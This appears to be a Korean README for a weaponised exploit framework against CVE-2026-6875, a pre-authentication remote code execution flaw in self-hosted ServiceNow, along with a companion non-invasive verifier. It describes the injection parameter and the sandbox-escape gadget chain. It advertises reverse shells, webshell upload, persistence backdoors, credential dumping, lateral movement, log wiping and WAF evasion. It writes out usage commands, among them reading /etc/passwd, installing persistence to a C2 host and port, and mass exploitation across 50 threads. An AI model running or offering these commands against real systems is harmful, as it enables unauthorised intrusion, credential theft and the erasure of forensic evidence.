
CVE-2026-6875 ServiceNow 사전 인증 RCE 프레임워크 🔥 JS 인젝션 → 샌드박스 탈출 → RCE → 루트. 기능: --detect, --exec, 역방향/대화형 셸, 배치 스레딩, WAF 우회, 지속성, 측면 이동, 자격 증명 덤프, 파일리스 실행, 추적 정리. 🛡️ CVSS 9.5 적극적으로 악용됨. 승인 및 법적 사용 전용. 법을 준수하세요. 🔒

익스플로잇 프레임워크 & 안전 검증기
승인된 보안 테스트 전용입니다.
이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.
저자와 기여자는 이 소프트웨어로 인해 발생하는 어떠한 오용이나 피해에 대해서도 책임지지 않습니다. 사용자는 테스트 전에 대상 소유자로부터 명시적인 서면 허가를 받았음을 확인할 전적인 책임이 있습니다. 컴퓨터 시스템에 대한 무단 접근은 컴퓨터 사기 및 남용법(CFAA) 및 전 세계의 유사 법률에 따라 불법입니다.
이 소프트웨어를 사용함으로써 귀하는 다음에 동의합니다:
경고: 이 취약점은 실제 환경에서 활발히 악용되고 있습니다. 무단 사용은 심각한 법적 결과를 초래할 수 있습니다.
CVE-2026-6875는 ServiceNow AI 플랫폼(구 Now 플랫폼)의 치명적인 인증 불필요 원격 코드 실행(RCE) 취약점입니다. 공격자는 이를 통해 스크립트 샌드박스를 우회하고 ServiceNow 애플리케이션의 권한으로 임의의 시스템 명령을 실행할 수 있습니다.
JavaScript 인젝션: assessment_thanks.do 엔드포인트는 sysparm_assessable_type 매개변수를 받습니다. 값 앞에 javascript:를 붙이면 공격자가 임의의 JavaScript 코드를 주입할 수 있습니다.
샌드박스 탈출: 정교한 샌드박스 탈출 가젯(DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor, Class.create를 연쇄)이 JavaScript 샌드박스 제한을 해제합니다.
원격 코드 실행: 주입된 Java 코드(java.lang.Runtime.exec() 경유)가 ServiceNow 애플리케이션 권한으로 실행되어 전체 시스템 장악이 가능합니다.
권한 상승: 익스플로잇 후 모듈은 sudo 오구성, SUID 바이너리, 쓰기 가능한 cron 작업 또는 커널 익스플로잇을 통해 루트로 권한 상승을 시도합니다.
| 속성 | 값 |
|---|---|
| [>] 발견일 | 2026년 4월 1일 (Searchlight Cyber) |
| [>] CVSS 점수 | 9.5 (치명적) |
| [>] CISA KEV | 2026년 7월 13일 추가 |
| [>] 영향받는 제품 | 자체 호스팅 ServiceNow AI 플랫폼 |
| [>] 수정된 버전 | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 |
| [>] 인증 | 불필요 (Pre‑Auth) |
| [>] 활성 악용 | 실제 환경에서 확인됨 (2026년 7월) |
exploit.py)완전한 무기화 익스플로잇은 JavaScript 인젝션과 샌드박스 탈출을 연쇄하여 원격 코드 실행을 달성하며, 지속성, 측면 이동 및 자격 증명 덤프를 위한 고급 익스플로잇 후 모듈을 갖추고 있습니다.
| 기능 | 설명 |
|---|---|
| [+] JavaScript 인젝션 | sysparm_assessable_type 매개변수를 통해 페이로드를 주입합니다. |
| [+] 샌드박스 탈출 | ServiceNow의 스크립트 샌드박스를 우회하여 임의의 Java 코드를 실행합니다. |
| [+] 대화형 셸 | 여러 명령을 지원하는 라이브 셸을 생성합니다. |
| [+] 루트 권한 상승 | sudo 오구성, SUID 바이너리 및 cron 작업을 확인합니다. |
| [+] 파일 작업 | base64 인코딩을 통해 웹셸 업로드, 파일 읽기/다운로드. |
| [+] 일괄 스캔 | 스레딩(-l 플래그)으로 여러 대상을 대량 익스플로잇. |
| [+] 안전 탐지 | 비침투적 취약점 검증을 위한 선택적 --detect 플래그. |
| [+] WAF 우회 | WAF/IDS를 회피하기 위한 내장 난독화 기법 (6가지 기법). |
| [+] 지속성 | cron/systemd/schtasks 백도어를 설치합니다. |
| [+] 측면 이동 | 로컬 네트워크에서 다른 취약한 호스트를 스캔하고 SSH/SSRF 전파를 시도합니다. |
| [+] 흔적 정리 | 로그, bash 기록 및 감사 추적을 제거합니다. |
| [+] 파일리스 실행 | Java ClassLoader를 사용하여 디스크에 쓰지 않고 메모리 상주 페이로드를 실행합니다. |
| [+] 콜백 서버 | 명령 출력을 수신하는 내장 HTTP 서버 (선택 사항). |
| [+] 웹훅 알림 | 결과를 사용자 지정 URL(Slack, Discord 등)로 전송합니다. |
| [+] 크로스 플랫폼 | Linux 및 Windows 대상 지원 (cmd.exe / PowerShell). |
| [+] 스레드 안전 | 동시 작업을 위한 잠금 메커니즘을 사용합니다. |
| [+] 버전 탐지 | ServiceNow 버전(Zurich/Brazil/Australia/Yokohama)을 탐지합니다. |
| 명령 | 설명 |
|---|---|
exec <cmd> | 시스템 명령 실행 |
upload <local> [remote] | 대상에 웹셸 업로드 |
download <remote> | 파일 내용 다운로드 및 표시 |
privesc | 권한 상승 시도 |
reverse <host> <port> | 리버스 셸 전송 |
dumpcred | ServiceNow 구성에서 자격 증명 덤프 |
persist <host> <port> | 지속성 설치 (cron/systemd/schtasks) |
lateral | 측면 이동 시도 |
clean | 흔적 정리 (로그, 기록) |
memory <host> <port> | 파일리스 Java 페이로드 실행 |
exit | 대화형 셸 종료 |
verifier.py)안전 검증기는 유해한 페이로드를 실행하거나 시스템을 변경하지 않고 비침투적 취약점 탐지를 수행합니다.
| 기능 | 설명 |
|---|---|
| [+] ServiceNow 탐지 | 여러 엔드포인트를 통해 ServiceNow 인스턴스를 식별합니다. |
| [+] 버전 탐지 | 특정 ServiceNow 릴리스 및 패치 수준을 탐지합니다. |
| [+] JavaScript 인젝션 테스트 | 안전한 gs.print() 페이로드를 사용하여 인젝션 취약점을 테스트합니다. |
| [+] 샌드박스 탈출 테스트 | 파괴적인 명령 없이 샌드박스 탈출을 검증합니다. |
| [+] 신뢰도 점수 | 증거에 기반한 신뢰도 백분율(85‑95%)을 제공합니다. |
| [+] JSON 출력 | 보고를 위해 결과를 JSON 형식으로 내보냅니다. |
| [+] 대량 스캔 | 스레딩 지원으로 여러 대상을 스캔합니다. |
| [+] 비침투적 | 시스템 정보를 위해 무해한 uname -a만 실행합니다. |
pip (requests 라이브러리용)pip install requests urllib3
[!NOTE]
exploit.py는 핵심 기능에 표준 라이브러리만 사용합니다.requests는--detect기능,--webhook알림 및 안전 검증기에만 필요합니다.
verifier.py)# 단일 대상 검증
python verifier.py -u 192.168.1.100
# 사용자 지정 포트 및 경로
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# 파일에서 대량 스캔
python verifier.py -l targets.txt -o results.json
# 조용한 모드 (취약한 대상만)
python verifier.py -u 192.168.1.100 -q
# 느린 대상에 대한 타임아웃 증가
python verifier.py -u servicenow.example.com --timeout 60
# 사용자 지정 User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
# 대상에 대화형 셸
python exploit.py -u 192.168.1.100
# 단일 명령 실행
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# 파일 읽기
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# 익스플로잇 전 탐지 활성화
python exploit.py -u 192.168.1.100 --detect
# 루트 권한 상승 시도
python exploit.py -u 192.168.1.100 --privesc
# 웹셸 업로드
python exploit.py -u 192.168.1.100 --upload shell.jsp
# C2로 지속성 설치
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# 익스플로잇 후 흔적 정리
python exploit.py -u 192.168.1.100 --clean
# 파일리스 (메모리) 페이로드 사용
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# 파일에서 대량 익스플로잇 (50 스레드)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# 사용자 지정 콜백 서버 포트
python exploit.py -u 192.168.1.100 --callback-port 9090
# WAF 우회 기법 활성화
python exploit.py -u 192.168.1.100 --waf-bypass
# 웹훅을 통한 알림 전송
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# 파이프 모드 (stdin에서 명령 읽기)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# 사용자 지정 포트 및 경로
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# TLS 검증 비활성화 (자체 서명 인증서용)
python exploit.py -u 192.168.1.100 --insecure-tls
# 사용자 지정 타임아웃 및 재시도
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
| ServiceNow 릴리스 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| Brazil | EA, GA | 패치됨 (post‑GA) |
| Australia | Patch 2 이전 | Patch 2+ |
| Zurich | Patch 7b, Patch 9 이전 | Patch 7b, Patch 9+ |
| Yokohama | Patch 12 Hot Fix 1b 이전 | Patch 12 Hot Fix 1b, Patch 13 |
| 기타 릴리스 | 알 수 없음 | 공식 권고 확인 |
중요: ServiceNow Cloud 인스턴스는 자동으로 패치됩니다. 이 취약점은 주로 자체 호스팅 배포에 영향을 미칩니다.